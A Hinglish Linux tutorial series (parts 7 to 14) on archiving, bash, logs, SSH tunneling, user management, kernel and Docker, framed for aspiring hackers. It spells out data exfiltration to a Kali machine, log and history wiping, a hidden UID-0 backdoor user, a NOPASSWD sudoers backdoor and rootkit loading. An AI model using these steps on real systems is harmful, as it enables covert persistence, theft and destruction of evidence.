Data pack ho gaya, ab baari hai use target se apne Kali Linux machine par lane ki. Isme hum encryption aur protocol security ka dhyan rakhte hain.

A. SCP (Secure Copy): SSH protocol ka use karta hai.
scp -P 2222 user@target_ip:/tmp/data.tar.gz .
B. Rsync (The Professional Choice): Ye resume-able hota hai.
rsync -P --remove-source-files -az data.tar.gz kali@my_ip:/home/kali/

7.4 Advanced Search: Finding the Needle

System mein "Sensitive" files dhoondhna ek kala hai. find command ke advanced flags aapko system ka malik bana sakte hain.

  • find / -type f -mtime -2 : Pichle 48 ghanton mein badli hui files (Fresh data).
  • find / -user root -perm -4000 2>/dev/null : SUID files dhoondhna (Privilege Escalation path).
  • find /var/www -name "*.config" -exec grep -i "user" {} + : Config files mein user search karna.

7.5 DD Command: The Disk Surgeon

Hacker kai baar sirf files nahi, balki poori hard drive ka "Clone" nikalna chahte hain taaki wo "Digital Forensics" kar sakein. Ise dd (Data Duplicator) kehte hain.

# 1. Poore USB drive ka image (.img file) banana
sudo dd if=/dev/sdb of=/home/kali/usb_dump.img status=progress

# 2. Master Boot Record (MBR) ka backup lena
sudo dd if=/dev/sda of=mbr_backup bs=512 count=1

Part 7 Summary: Archive & Exfiltration

  • Tar Physics: Files ko bundle banana permissions ke saath.
  • Compression: XZ sabse deep compression deta hai, Gzip sabse fast hai.
  • Exfiltration: SCP aur Rsync secure transfer ke liye best hain.
  • Stealth Search: find ka use karke sensitive timestamps aur permissions pakadna.
  • Forensics: dd ka use karke disk-level cloning karna.

7.6 Quick Reference: Exfiltration Commands Table

Command Task Hacker Scenario
tar -cJvf Ultimate Compression (XZ) Slow network par bada data nikalna.
scp -r Secure Remote Copy Data ko Kali Linux par move karna.
rsync -avz Smart Syncing Connection break hone par wahi se start karna.
find / -perm -4000 SUID Search Root access ke raaste dhoondhna.
zip -e Encrypted Zip Data ko password se lock karna.

πŸ“¦ Part 7 - Hacker's Suitcase Reality Check

  • Task 1: The Invisible Bundle
    Apne /etc folder ki ek .tar.xz archive banao par usme se .log files exclude kar do.
  • Task 2: The SUID Audit
    Apne system mein wo files dhoondho jo Root privileges ke saath run ho sakti hain aur result ko potentials.txt mein save karo.
  • Task 3: Encryption Test
    Ek folder ko password-protected zip mein convert karo aur check karo kya bina password ke data nikal raha hai.
  • Task 4: Transfer Simulation
    Agar tumhare paas do machines hain, toh scp ka use karke ek file transfer karo.
  • Task 5: Time Travel Search
    Wo saari files dhoondho jo pichle 10 minute mein modify hui hain.

Part 8: Bash Scripting & Automation (The Architect Mode)

Ek normal user commands ko ek-ek karke type karta hai, lekin ek hacker apne khud ke "Tools" banata hai jo hazaron kaam ek second mein kar dete hain. Bash Scripting Linux ki asli taqat hai. Iska matlab hai commands ko ek logical flow mein likhna taaki system automatically decisions le sake. Jab tum Bash seekh jaate ho, toh tum system ke "Architect" ban jaate ho.

8.1 Shebang aur Script Lifecycle: The Birth of a Tool

Har script ki shuruat ek special character sequence se hoti hai jise Shebang (#!) kehte hain. Ye system ko batata hai ki is file ko kis 'Interpreter' (Bash, Python, ya Perl) ke paas bhejna hai.

# 1. Nano ya Vim se script file banao
nano mytool.sh

# 2. Pehli line hamesha Shebang hogi:
#!/bin/bash

# 3. File ko execution permission dena (Sabse zaroori step):
chmod +x mytool.sh

# 4. Script ko run karne ke do tarike:
./mytool.sh OR bash mytool.sh

8.2 Variables & Arguments: Data Storage & Handling

Variables ka kaam hai data ko temporarily store karna. Bash mein variables define karte waqt space nahi diya jata. Saath hi, Positional Arguments ka use karke hum script ko command-line se hi data pass kar sakte hain.

#!/bin/bash
# Static Variable
TARGET="google.com"

# User se input lena
read -p "Apna Target IP dalo: " user_ip

# Command-line arguments ($1, $2...)
echo "Pehla argument: $1"
echo "Welcome $user_ip to the lab of $TARGET"

8.3 Logic Gates: If, Elif, aur Else

Scripts ko "Smarter" banane ke liye humein decisions lene padte hain. If-statements system ko 'Condition' check karne ki power dete hain.

Hacker Logic: Check for Root Access
Kuch tools sirf Root user hi chala sakta hai. Hum script mein ye check add kar sakte hain:

if [ $(id -u) -eq 0 ]; then
  echo "Aap Root hain. Access Granted!"
else
  echo "Error: Ise chalaane ke liye sudo lagao."
  exit 1
fi

8.4 Loops: The Power of Repetition

Loops ka use tab hota hai jab aapko ek hi kaam 100 ya 1000 baar karna ho. Jaise 1 se 254 tak saare IPs scan karna.

πŸ”„ For Loop

Fixed list par kaam karne ke liye.
for ip in {1..10}; do ping -c 1 192.168.1.$ip; done

πŸ” While Loop

Jab tak condition true hai, tab tak loop chalta rahega. Background monitoring ke liye best hai.


8.5 Functions: Organizing the Chaos

Jab script lambi ho jati hai, toh hum code ko Functions mein baant dete hain. Isse code reuse karna aasan ho jata hai.

function scan_port() {
  echo "Scanning $1..."
  nc -zv $1 80 2>&1 | grep "succeeded"
}

# Function ko call karna
scan_port "192.168.1.1"

8.6 Professional Automation: Cron Jobs

Automation ka matlab hai ki aapka computer tab bhi kaam kare jab aap so rahe hon. Crontab system ko schedule karne ka tarika hai.

# Crontab editor kholo
crontab -e

# Har raat 2 baje backup script chalao
0 2 * * * /home/kali/backup.sh

Part 8 Summary: Bash Mastery

  • Shebang: Script ki pehli line #!/bin/bash interpreter decide karti hai.
  • Conditionals: if/else se script ko decision-making power milti hai.
  • Repetition: for aur while loops bulk tasks ko automate karte hain.
  • Modularity: Functions code ko clean aur reusable banate hain.
  • Scheduling: crontab se scripts ko time-based execution par set kiya jata hai.

8.7 Reference Table: Scripting Components

Feature Syntax Cybersecurity Use
Variable IP="1.1.1.1" Target IP address store karna.
Comparison -eq, -ne, -lt Numbers aur status codes compare karna.
String Test -z, -n, == Check karna ki kya input khali hai.
Exit Status $? Pichli command success hui ya nahi (0 = Success).

πŸ› οΈ Part 8 - The Architect Reality Check

Apna pehla professional tool banao:

  • Tool Goal: IP Alive Scanner
  • 1. Ek file banao scanner.sh aur shebang line likho.
  • 2. Ek for loop ka use karke apne local network ke 1 se 10 IPs ko ping karo.
  • 3. Agar ping success hota hai ($? -eq 0), toh message dikhao "IP is LIVE", warna "IP is DEAD".
  • 4. Is scanner ko executable banao aur run karke result dekho.

Ek baar tumne apni pehli functional script likh li, toh hacking ki asli duniya tumhare liye khul jayegi. πŸš€


Part 9: Advanced Log Analysis & Forensic Traces (The Digital Detective)

Linux system mein aisi koi activity nahi hoti jiska record piche na chhoota ho. In records ko hum Logs kehte hain. Ek hacker ke liye logs "Dushmani" hain kyunki ye unki pol khol sakte hain, aur ek forensic expert ke liye ye "Saboot" hain. Is section mein hum seekhenge ki kaise system ke gehre raazo ko dhoondha jata hai aur kaise professional tarike se apni digital footprints ko manage kiya jata hai.

9.1 The Log Sanctuary: /var/log Directory

Linux mein lagbhag saare logs /var/log directory ke andar hote hain. Har file ek alag tarah ki activity ko track karti hai. Is folder ko samajhna ek detective banne ka pehla step hai.

# Sabse pehle log directory mein ghusein
cd /var/log && ls

# 1. auth.log : Login attempts aur Sudo activities (Kali/Ubuntu mein)
tail -f /var/log/auth.log
# -f flag se aap live dekh sakte ho kaun login karne ki koshish kar raha hai.

# 2. syslog : System-wide general messages aur background activities.
cat /var/log/syslog | grep -i "error"

# 3. apache2/access.log : Website par aane wale har ek visitor ka IP aur Request.
tail -n 100 /var/log/apache2/access.log

9.2 Systemd Journal: The Modern Evidence Box

Modern Linux systems mein journalctl ka use hota hai jo binary format mein logs store karta hai. Ye purane syslog se kahin zyada fast aur powerful hai.

πŸ•΅οΈβ€β™‚οΈ journalctl -u

Kisi specific service ke logs dekhna.
Code: journalctl -u ssh
Isse pata chalega ki SSH ke zariye kisne ghusne ki koshish ki.

⏰ Time-Based Search

Specific time period ke logs nikalna.
Code: journalctl --since "1 hour ago"
Hacking attempt ke turant baad ye sabse kaam aata hai.


9.3 Dmesg & Boot Logs: Kernel Level Surveillance

Jab hardware ya kernel level par koi activity hoti hai (jaise USB lagana ya Driver crash hona), toh uski jankari dmesg (Diagnostic Message) mein milti hai.

# Kernel ring buffer ko check karna
dmesg | less

# Check karna ki koi USB device connect hui hai ya nahi
dmesg | grep -i "usb"

9.4 Stealth Mode: Clearing Footprints (Anti-Forensics)

Warning: Ye sirf educational purposes aur apne system ko clean rakhne ke liye hai. Ek hacker hamesha kaam khatam karne ke baad logs clear karta hai taaki admin ko pata na chale.

Hacker Technique: Bash History Cleaning
Aapne terminal par jo bhi commands chalayi hain, wo ~/.bash_history mein save hoti hain.

history -c (Current session history clear karna)
history -w (Changes ko save karna)
cat /dev/null > ~/.bash_history (Poori history permanent delete karna)

9.5 Finding Hidden Files & Malicious Traces

Hacker aksar files ko aise folders mein chhupate hain jahan admin ki nazar nahi jati, jaise /tmp ya /dev/shm.

  • find /tmp -type f : Temporary folder mein baithi files check karna.
  • find / -mtime -1 : Pichle 24 ghanton mein system mein jo bhi badlav huye hain unhe dhoondhna.
  • ls -laR /var/www : Web directory mein kisi suspicious PHP shell (Backdoor) ko dhoondhna.

Part 9 Summary: Digital Forensics

  • Log Location: Zyadatar logs /var/log mein .log format mein hote hain.
  • Auth Audit: auth.log sabse important file hai security breach check karne ke liye.
  • Journal Power: journalctl binary logs ko filter karne ka modern tarika hai.
  • History: Bash history cleaning hacker ka pehla priority task hota hai post-exploitation.
  • Detection: find command ke time-based flags se malicious file uploads pakde ja sakte hain.

9.6 Professional Reference: Log & Forensic Commands

Command Deep Function Hacker Example
tail -f Live log monitoring. Brute-force attack ko live dekhna.
journalctl -xe System errors ka detailed view. Crashing exploits troubleshoot karna.
last Pichle saare login sessions ki list. Unauthorized login detect karna.
w Abhi live kaunse users logged in hain. Apne alaawa kisi aur ko terminal par dekhna.
cat /dev/null > logfile File size zero karna bina delete kiye. Stealthily logs clear karna.

πŸ” Part 9 - The Detective Reality Check

Apne system ki investigation khud karo:

  • Task 1: The Login Audit
    last command chalao aur dekho pichle 1 hafte mein kisne kab login kiya. Kya koi suspicious IP hai?
  • Task 2: Live Traffic
    Agar tumhare paas Apache server hai, toh tail -f /var/log/apache2/access.log chalao aur browser se site visit karo. Live entry dekho.
  • Task 3: Error Hunting
    journalctl -p err chalao. Ye command system mein huye saare 'High Priority' errors ki list dikhayegi.
  • Task 4: Invisible Footprints
    Ek command chalao echo "Hacked", phir apni history check karo. Ab us history ko clear karke dikhao.
  • Task 5: Fresh File Search
    Poore system mein wo files dhoondho jo pichle 5 minute mein bani hain: find / -mmin -5 2>/dev/null.

Ek achha hacker hamesha system admin se ek kadam aage rehta hai. Knowledge is your only shield! πŸš€


Part 10: Network Tunneling & Port Forwarding (The Ghost Entry)

Jab aap kisi network ko hack karte ho, toh aksar aapka saamna ek Firewall se hota hai jo bahar ke traffic ko rok deti hai. Lekin agar system ke andar se koi rasta bahar nikal raha ho, toh hacker us raste ka faida uthakar poore network ka access le leta hai. Ise Tunneling aur Port Forwarding kehte hain. Is section mein hum terminal se wo secret tunnels banana seekhenge jo aapko "Invisible" bana denge.

10.1 SSH Tunneling: The Encrypted Pipe

SSH (Secure Shell) sirf remote login ke liye nahi hai. Ye ek aisi encrypted pipe hai jiske andar se aap kisi bhi tarah ka traffic (Web, Database, etc.) guzar sakte ho bina firewall ko pata chale.

SSH Port Forwarding Logic

πŸ”— Local Port Forwarding (-L)

Remote server par chal rahi kisi service ko apne local computer ke port par lana.
Scenario: Target ke database (Port 3306) ko apne localhost:9000 par access karna.

πŸ“‘ Remote Port Forwarding (-R)

Apne local port ko remote server ke liye open karna. Ise Reverse Tunneling bhi kehte hain.
Scenario: Apne local web server ko duniya ko dikhana target ke through.

# Local Port Forwarding Example
ssh -L 9000:localhost:3306 user@target-ip
# Ab aap apne computer par localhost:9000 khologe toh target ka DB khulega.

10.2 Dynamic Port Forwarding: Building a SOCKS Proxy

Agar aapko target network ki sirf ek service nahi, balki har ek IP aur port tak pahunchna hai, toh hum **Dynamic Tunneling** ka use karte hain. Isse hamara SSH connection ek Proxy Server ban jata hai.

# Dynamic Tunnel banana (Port 1080 par)
ssh -D 1080 user@target-ip
# Ab aap Firefox mein SOCKS5 Proxy (127.0.0.1:1080) set karke target ka internal network browse kar sakte ho.

10.3 Proxychains: Chaining the Tunnels

Jab aap tunnel bana lete ho, toh aapko apne hacking tools (Nmap, Metasploit) ko us tunnel ke raste bhejna padta hai. Iske liye Kali Linux ka sabse bada tool hai Proxychains.

# Proxychains ke saath Nmap scan karna
proxychains nmap -sT -Pn 192.168.1.50
# Isse target ko lagega ki scan 'Proxy Server' se aa raha hai, aapki machine se nahi.

10.4 Netcat (nc) Port Forwarding: The Raw Way

Agar SSH available nahi hai, toh hum Netcat ka use karte hain traffic ko ek port se dusre port par "Redirect" karne ke liye. Ise "Relaying" bhi kehte hain.

# Traffic Relay setup (FIFO pipe ka use karke)
mkfifo backpipe
nc -l -p 8080 < backpipe | nc target-ip 80> backpipe
# Jo bhi Port 8080 par aayega, wo target ke Port 80 par redirect ho jayega.

Part 10 Summary: Tunneling Mastery

  • Local Forwarding: Remote services ko local system par lana taaki unhe scan kiya ja sake.
  • Remote Forwarding: Reverse connection banana jab target firewall inbound connections block kar rahi ho.
  • Dynamic Forwarding: Poore target network ko browse karne ke liye SOCKS proxy banana.
  • Proxychains: Apne hacking tools ka traffic bani hui tunnel ke raste nikalna.
  • Netcat Relays: Raw network redirection bina kisi protocol overhead ke.

10.5 Professional Tunneling Reference Table

SSH Flag Function Hacker Context
-L [LocalPort]:[Target]:[TargetPort] Local Port Forwarding Internal DBs aur Web Apps ko local scan karna.
-R [RemotePort]:[Local]:[LocalPort] Remote Port Forwarding Reverse shells aur data exfiltration tunnels.
-D [Port] Dynamic SOCKS Proxy Internal network ki har machine tak pahunchna.
-N Bina command execute kiye tunnel banana Sirf background tunnel maintain karna.
-f Background Execution Terminal close hone par bhi tunnel chalti rahe.

πŸ›Έ Part 10 - The Tunneling Reality Check

Apni "Ghost Entry" skills test karo:

  • Task 1: The Local Bridge
    Apne friend ki machine (ya apni lab VM) par SSH karo aur uske port 80 ko apne port 8888 par forward karke browser mein check karo.
  • Task 2: Stealth Proxy
    SSH Dynamic tunnel banao (-D 9050) aur proxychains config file mein use add karke nmap chalao.
  • Task 3: Backdoor Port
    Netcat Relay ka use karke ek port se dusre port par traffic redirect karke dikhao.
  • Task 4: Background Stability
    -Nf flags ka use karke ek persistent tunnel banao aur ps aux | grep ssh se use verify karo.
  • Task 5: The Master Pivot
    Ek aisi tunnel banao jisme aap target A ke through target B ko scan kar rahe ho (Pivoting).

Tunneling hacking ka 'Brahmastra' hai. Isse master kar liya toh koi bhi firewall tumhe nahi rok sakti! πŸš€


Part 11: Advanced User & Group Management (Identity Hacking)

Linux mein identity hi sab kuch hai. Agar aapne ek baar 'Root' access pa liya, toh aapka agla kadam hota hai system mein apni ek aisi jagah banana jo koi admin dhoondh na sake. Ise Identity Hacking kehte hain. Is section mein hum sirf user banana nahi seekhenge, balki system ki core files (passwd, shadow) ko surgically modify karna aur professional level par users aur groups ko manage karna seekhenge.

11.1 The Identity Files: Deconstructing /etc/passwd & /etc/shadow

Linux system mein har user ki jankari do main files mein hoti hai. Ek hacker ke liye ye files "Map to the Kingdom" hain.

# 1. /etc/passwd : Sabhi users ki list aur unka Shell
cat /etc/passwd | head -n 5
# Format: username:x:UID:GID:comment:home_dir:shell

# 2. /etc/shadow : Encrypted passwords aur expiry details
sudo cat /etc/shadow | grep "root"
# Yahan 'x' ka asli matlab encrypted hash hota hai jo is file mein chhupa hai.

11.2 Creating a Stealth Backdoor User

Normal useradd command se banaya gaya user /home folder mein dikhta hai, jo admin ko alert kar sakta hai. Hacker ek aisa user banate hain jiska na koi home folder ho aur na hi koi suspicious shell.

# Stealth User: No home directory, custom UID 0 (Root Power)
sudo useradd -o -u 0 -g 0 -M -s /bin/bash sys_update_service
# -o: Duplicate UID allow karna, -u 0: Root ki power dena, -M: Home folder na banana.

Hacker Insight: Aise users ko "System Service" ka naam diya jata hai taaki agar admin cat /etc/passwd kare toh use lage ye koi zaroori system process hai.


11.3 Sudoers Mastery: The 'visudo' Surgery

/etc/sudoers file decide karti hai ki kaunsa user 'Sudo' power use kar sakta hai. Agar aapne isme ek line add kar di, toh aap bina password ke root ban sakte ho.

# Sudoers file ko safely edit karna
sudo visudo

# Line to add for a backdoor:
username ALL=(ALL) NOPASSWD:ALL
# Isse 'username' ko kabhi password ki zaroorat nahi padegi.

11.4 User Aging & Password Policies (Security Hardening)

Ek admin ke roop mein aapko ensure karna hota hai ki users apna password har 30 din mein badlein. Ise Chage (Change Age) command se control kiya jata hai.

# User ki password details dekhna
sudo chage -l username

# Password ko 90 days mein expire karna
sudo chage -M 90 username

Part 11 Summary: Identity Management

  • Config Files: /etc/passwd (Identity) aur /etc/shadow (Passwords) system ke base hain.
  • Backdoors: UID 0 ka use karke ek normal-looking user ko Root power di ja sakti hai.
  • Privilege Control: Sudoers file NOPASSWD configuration se system access ko permanent banaya jata hai.
  • Group Logic: usermod -aG se existing users ko naye groups (jaise 'docker' ya 'sudo') mein add kiya jata hai.
  • Aging: chage command password rotation aur security policies enforce karne ke kaam aati hai.

11.5 Advanced User & Group Commands Table

Command Function Hacker Context
useradd -u 0 -o Duplicate UID 0 User banana Invisible Root access backdoor.
usermod -L / -U User ko Lock/Unlock karna Admin ko lock out karna ya access restore karna.
groupadd / groupdel Groups manage karna Permissions bypass ke liye groups ka use.
passwd -S Password status check karna Check karna ki kya password set hai ya khali hai.
deluser --remove-home User aur uska data saaf karna Evidence mitane ke liye.

πŸ‘€ Part 11 - The Identity Reality Check

Apni identity management skills test karo:

  • Task 1: The Shadow Hunter
    Root user se /etc/shadow file ko read karo aur dekho tumhare password hash ke shuruat mein $6$ likha hai? Iska matlab hai SHA-512 encryption.
  • Task 2: Backdoor Simulation
    Ek naya user banao jiska shell /usr/sbin/nologin ho aur check karo kya tum usse login kar pa rahe ho.
  • Task 3: Privilege Hack
    Ek temporary user ko 'Sudo' group mein add karo (usermod -aG sudo user) aur verify karo.
  • Task 4: Expiry Logic
    chage command ka use karke kisi user ka password turant expire kardo taaki wo login karte hi password badalne ko kahe.
  • Task 5: Ghost User Audit
    cat /etc/passwd | cut -d: -f3 | grep "^0$" chalao aur dekho system mein kitne users hain jinka UID 0 hai. Agar 'root' ke ilawa koi aur hai, toh system compromised hai!

Identities ke saath khelna seekh liya, toh system tumhara ghulam ban jayega! πŸš€


Part 12: Kernel Tuning & Hardware Interaction (The Matrix Level)

Linux Terminal sirf ek software interface nahi hai, balki ye aapke hardware se baat karne ka direct rasta hai. Linux mein har cheez ek file hai, aur kernel (OS ka dimaag) apni saari settings ko Virtual Filesystems (/proc aur /sys) mein rakhta hai. Is section mein hum seekhenge ki kaise kernel modules ke saath "Surgery" ki jati hai aur system performance ko kernel level se kaise tune kiya jata hai.

12.1 The Virtual Window: Understanding /proc & /sys

Ye folders aapki hard drive par space nahi lete; ye seedha RAM (Kernel Memory) se jude hote hain. Yahan file edit karne ka matlab hai seedha chalte huye system ki settings badalna.

# 1. CPU ki information nikalna bina kisi tool ke
cat /proc/cpuinfo

# 2. Kernel level se IP Forwarding on karna (Hacking/Routing ke liye)
echo 1 > /proc/sys/net/ipv4/ip_forward

# 3. System ka Hostname badalna (Kernel level)
echo "Hacked_Server" > /proc/sys/kernel/hostname

12.2 Kernel Modules: The Dynamic Organs

Linux Kernel "Monolithic" hai par ye modular bhi hai. Iska matlab hai ki aap naye drivers (modules) ko bina system restart kiye load ya unload kar sakte hain. Hacker aksar "Rootkits" ko isi tarah kernel mein chhupate hain.

πŸ” lsmod

Filhaal kernel mein kaun-kaun se modules loaded hain unki list dekhna.

βš™οΈ modprobe

Kisi module ko safely load ya remove karna (Dependencies ke saath).

# USB storage module ko remove karna (USB ports disable karne ke liye)
sudo modprobe -r usb_storage

# Kisi module ki jankari nikalna
modinfo bluetooth

12.3 Sysctl: The Kernel Control Panel

sysctl command ka use kernel parameters ko configure karne ke liye kiya jata hai. Isse aap security hardening (jaise ICMP/Ping response band karna) kar sakte hain.

# System ko Ping (ICMP) ka jawab dene se rokna (Invisible Mode)
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1

# Saari kernel settings ko dekhna
sysctl -a | less

12.4 Hardware Identification (The Fingerprinting)

Jab aap kisi machine par access pate ho, toh hardware ka "Fingerprint" lena zaroori hai taaki aapko pata chale ki aap VM mein ho ya asli server par.

  • lspci : Sabhi PCI buses aur unse jude devices (Graphics card, Network card) dekhna.
  • lsusb : USB devices ki list dekhna.
  • lscpu : Processor ki architecture aur vulnerability status check karna.
  • dmidecode : BIOS/Motherboard ki aisi details nikalna jo normal commands nahi dikhati.

Part 12 Summary: Kernel & Hardware Tuning

  • Virtual Files: /proc aur /sys system ki live configuration files hain.
  • Modules: modprobe aur lsmod drivers ko manage karne ke main tools hain.
  • Hardening: sysctl se kernel level security parameters (jaise Ping ignore) set kiye ja sakte hain.
  • Discovery: lspci aur lsusb hardware level investigation mein madad karte hain.
  • Persistence: /etc/sysctl.conf mein likhi settings reboot ke baad bhi save rehti hain.

12.5 Advanced Kernel & Hardware Reference

Command Deep Function Hacker Context
cat /proc/version Kernel build aur compiler details Kernel exploits compile karne ke liye zaroori info.
insmod / rmmod Lower level module loading Custom Rootkits load karne ke liye.
sysctl -p Settings reload karna Conf file ke badlav turant apply karna.
dmesg -w Live Kernel logs monitoring Hardware connection/disconnection trace karna.

🧠 Part 12 - Kernel Reality Check

Kernel ke "Master" banne ke liye ye karke dekho:

  • Task 1: The RAM Thief
    cat /proc/meminfo chalao aur dekho system mein 'Dirty' memory kitni hai (wo data jo disk par likhna abhi baaki hai).
  • Task 2: Stealth Ping
    Apne system ko sysctl command se Ping ignore par set karo aur doosre device se check karo.
  • Task 3: Driver Audit
    Check karo lsmod mein ki kya koi vbox ya vmware ka module hai? Isse pata chalta hai ki tum Virtual Machine mein ho.
  • Task 4: Live Hostname Change
    /proc/sys/kernel/hostname file ko edit karke apna hostname badlo aur naya terminal tab kholkar dekho.
  • Task 5: Boot Diagnostic
    dmesg | grep -i "error" chala kar dekho pichle boot mein system mein koi hardware error toh nahi aaya tha.

Kernel ko control karna seekh liya toh tumne OS ki "Atma" par kabza kar liya! πŸš€


Part 13: Virtualization & Containerization (The Isolated Lab)

Modern hacking environment mein "Isolation" sabse badi security hai. Agar aap ek naya exploit test kar rahe hain, toh aap use apne main OS par kabhi nahi chalayenge. Yahan kaam aata hai Docker aur Virtualization. Is section mein hum seekhenge ki kaise terminal se hi poore hacking labs khade kiye jate hain aur kaise containers ke andar "Sandboxed" environment mein kaam kiya jata hai.

13.1 Virtualization vs Containerization (The Concept)

Virtual Machine (VM) poora ek naya OS chalati hai jiska apna kernel hota hai, jabki Docker "Containers" host OS ke kernel ko share karte hain. Iska matlab hai Docker bohot fast aur lightweight hota hai.

Docker vs Virtual Machine Comparison

🐳 Docker Containers

Apps ko isolate karne ke liye best. Ye seconds mein start hote hain aur CPU/RAM bahut kam lete hain.

πŸ’» Virtual Machines

Poora OS isolate karne ke liye. Security ke maamle mein ye Docker se zyada "Hardened" hote hain.


13.2 Docker Terminal Mastery: Handling Containers

Docker ko terminal se control karna har hacker ko aana chahiye. Maano aapko ek "Vulnerable Web App" test karni hai, toh aap use 10 second mein Docker par up kar sakte ho.

# 1. Docker Hub se image dhoondhna
docker search kalilinux

# 2. Ek naya Kali Linux container chalana aur uske andar ghusna
docker run -it kalilinux/kali-rolling /bin/bash

# 3. Chalti hui containers ki list dekhna
docker ps -a

# 4. Container ko stop aur remove karna
docker stop [container_id] && docker rm [container_id]

13.3 Network Isolation in Containers

Hacker aksar Docker ka use karke apne tools ko proxy ke piche chhupate hain. Aap terminal se hi container ka network bridge create ya delete kar sakte hain.

# Ek naya isolated network banana
docker network create secret_lab

# Container ko us network se connect karke chalana
docker run -d --name victim_server --network secret_lab nginx

13.4 Vagrant: Automation of VMs

Agar aapko VirtualBox ya VMware ki machines ko terminal se automate karna hai, toh Vagrant best tool hai. Ise "Infrastructure as Code" kehte hain.

# Ek nayi VM lab shuru karna
vagrant init hashicorp/bionic64

# VM ko background mein start karna
vagrant up

# Bina password ke VM ke andar SSH se ghusna
vagrant ssh

Part 13 Summary: Lab Isolation

  • Containers: docker ka use lightweight isolation ke liye hota hai.
  • Images: docker pull se pre-configured hacking environments download kiye ja sakte hain.
  • Cleanup: Kaam khatam hone par docker rm se evidence turant mitaya ja sakta hai.
  • VM Automation: vagrant se complex networking labs terminal se hi deploy ki jati hain.
  • Security: Always rememberβ€”Sandboxed environment mein ki gayi galtiyan main system ko affect nahi karti.

13.5 Docker & Vagrant Command Reference

Command Function Hacker Context
docker images Available images ki list Check karna kaunse hacking OS ready hain.
docker exec -it Chalte huye container mein ghusna Live attack execution inside container.
vagrant destroy Poori VM ko delete karna Lab ka saara data aur traces ek second mein saaf.
docker logs Container ki background activity dekhna Service attacks (e.g. brute force) ka result dekhna.

🐳 Part 13 - Lab Isolation Reality Check

Apna "Sandboxed Lab" setup karke dekho:

  • Task 1: The Quick Kali
    Docker par ek Kali Linux image pull karo aur nmap install karke apna hi localhost scan karo container ke andar se.
  • Task 2: Port Exposure
    Ek Nginx container ko port 8080 par host system par "Expose" karke dikhao (Hint: -p 8080:80).
  • Task 3: Persistent Data
    Docker Volumes ka use karke dekhoβ€”kya container delete karne ke baad bhi data bachta hai?
  • Task 4: The Vagrant Up
    Ek simple Vagrantfile banao aur use terminal se up karke dekho kitna fast VM khadi hoti hai.
  • Task 5: Resource Limit
    Ek aisa container chalao jo 512MB RAM se zyada use na kar sake. Isse malware ko control kiya jata hai.

Virtualization seekh liya toh tumhare pas unlimitd "Try-and-Fail" machines hongi. πŸš€


Part 14: The Master's Final Challenge & Professional Roadmap

Mubarak ho! Aapne Linux ke 13 sabse mushkil aur mahatvapurna parts ko poora kar liya hai. Lekin sirf padhne se koi expert nahi banta. Ek asli hacker wahi hai jo mushkil se mushkil scenario mein terminal ka use karke rasta nikal sake. Is final section mein hum aapka ek Practical Exam lenge aur aapko batayenge ki Linux Mastery ke baad aapka agla kadam kya hona chahiye.

14.1 The "Cyberseekh" Final Challenge

Linux Final Exam Banner

Scenario: Maano aap ek Junior Security Analyst ho aur aapko ek compromised server ka access mila hai. Aapko ye 7 kaam terminal se karne hain:

  1. Investigation: Pata lagao ki system ka kernel version kya hai aur pichle 10 minute mein kaunsi files modify hui hain.
  2. Identity Audit: Check karo ki /etc/passwd mein 'root' ke ilawa kisi aur user ka UID 0 toh nahi hai.
  3. Backdoor Hunting: System mein saari SUID files ki list nikaalo aur dekho koi aisi file toh nahi jo normal user ko root bana rahi ho.
  4. Network Surveillance: Check karo ki kaun-kaun se ports 'LISTEN' mode mein hain aur unhe chalane wali process ka PID kya hai.
  5. Data Packing: /var/log folder ki ek encrypted .tar.xz archive banao forensic analysis ke liye.
  6. Automation: Ek Bash script likho jo har ghante system ki RAM aur CPU usage ko ek file mein log kare.
  7. Clean Up: Kaam khatam hone ke baad apni saari bash history mita do taaki investigation mein aapka naam na aaye.

14.2 The Professional Roadmap: What's Next?

Linux Terminal par command hasil karna sirf shuruat hai. Iske baad aapko in domains mein specialization karni chahiye:

πŸ›‘οΈ Cybersecurity (Red/Blue Teaming)

Agar aapko hacking pasand hai, toh OSCP (Offensive Security Certified Professional) ya eJPT ke liye tayyari karein. In exams mein 24 ghante terminal par hi bitaane hote hain.

☁️ Cloud & DevOps

Badi companies (AWS, Azure) Linux servers par chalti hain. RHCSA (Red Hat Certified System Administrator) ya CKA (Certified Kubernetes Administrator) ban kar aap lakho ka package paa sakte hain.


14.3 Ultimate Keyboard Shortcuts Cheat Sheet

In shortcuts ko yaad karlo, tumhara terminal par kaam karne ka speed 5x badh jayega:

Shortcut Action
Ctrl + C Chalti hui command ko turant rokna.
Ctrl + L Terminal screen saaf karna (Clear jaisa).
Ctrl + R Purani commands ko search karna (Reverse Search).
Ctrl + A Cursor ko line ke shuruat mein lana.
Ctrl + E Cursor ko line ke end mein lana.
Tab Command ya file name ko auto-complete karna (Most Important!).

🎯 Final Conclusion

Linux sirf ek OS nahi, ek philosophy hai. Ye aapko freedom deta hai apne computer ko control karne ki. Is 14-part series ke baad, aap sirf ek user nahi hain, aap ek "Linux Power User" hain. Hamesha yaad rakhiye: "The more you sweat in peace, the less you bleed in war." Terminal par jitni practice karoge, hacking aur career mein utne hi aage badhoge.

Keep Learning, Keep Hacking! - Cyberseekh


πŸ›‘οΈ The Complete Linux Command Encyclopedia (Basic to Ultra-Advanced)

Is table mein Linux ki har wo command hai jo ek user, admin ya hacker ko chahiye hoti hai. Ise alphabetically aur category-wise organize kiya gaya hai.

Command Category The Command Deep Explanation & Example
1. Navigation & Path Mastery cd /path/to/dir Change Directory: Folder badalne ke liye. cd .. piche jaane ke liye aur cd ~ home aane ke liye.
pwd Print Working Directory: Ye batata hai ki aap system ke kis kone mein khade ho.
ls -laRh List Everything: Hidden files, details, aur sub-folders ki list human-readable size mein dikhata hai.
pushd / popd Directory Stack: Ek location ko yaad rakhna aur phir wahan turant wapas lautna.
tree Visual Map: Poore folder structure ko ek ped (tree) ki tarah visual format mein dikhata hai.
2. File Surgery & Content touch / mkdir Create: touch se khali file aur mkdir -p se poori nested directory path banayi jati hai.
cp -rav Advanced Copy: Permissions aur links ko barkarar rakhte huye poore folders copy karna verbose mode mein.
mv Move/Rename: File ka rasta badalna ya uska naam change karna.
cat / head / tail View Data: cat poora, head pehli 10 lines aur tail -f live badalti hui lines dikhata hai.
nano / vim / vi Text Editors: Terminal ke andar file edit karne ke tools. Vim professionals aur hackers ka favorite hai.
shred -zvu Digital Incinerator: File ko overwrite karke hamesha ke liye mitana taaki forensics se bacha ja sake.
